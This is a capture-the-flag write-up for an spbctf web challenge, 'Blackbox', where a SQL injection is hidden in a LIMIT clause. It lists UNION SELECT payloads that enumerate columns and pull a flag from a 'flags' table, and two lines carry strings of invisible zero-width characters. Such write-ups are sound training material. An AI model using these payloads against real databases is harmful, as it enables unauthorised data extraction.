Blackbox

Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: limit_clause_injection, union_based_sqli

Summary

Task: SQL injection in blackbox scenario with hidden injection point. Solution: LIMIT clause injection with UNION SELECT to extract the flag.

Blackbox — Web Kids 2.0

Description

SQL injection task in the "advanced" category. A blackbox challenge where the injection point is hidden in the LIMIT clause parameter. The application uses a numeric parameter to control pagination/row limits.

URL: http://kslweb1.spb.ctf.su/sqli/blackbox/

Analysis

The challenge name "Blackbox" hints that the injection point is not immediately obvious. After analysis, the vulnerable parameter controls the LIMIT clause in the SQL query.

Key observations:

• Application has pagination or row limit functionality
• A numeric parameter controls how many rows are returned
• The LIMIT clause is vulnerable to injection
• UNION SELECT can be appended after the LIMIT value ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Identify the LIMIT clause injection

The query structure is likely:

 sql read-only • copy allowed Copy
SELECT * FROM table LIMIT <user_input>

Step 2: Inject UNION SELECT after LIMIT

In MySQL, you can append UNION SELECT after LIMIT:

 sql read-only • copy allowed Copy
10 UNION SELECT 1,2,3,flag FROM flags--

Or with proper column enumeration:

 sql read-only • copy allowed Copy
10 UNION SELECT NULL,NULL,NULL,flag FROM flags--

Step 3: Enumerate and extract

First find the number of columns, then extract the flag:

 sql read-only • copy allowed Copy
10 UNION SELECT 1--
10 UNION SELECT 1,2--
10 UNION SELECT 1,2,3--
...
10 UNION SELECT 1,2,3,flag FROM flags--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍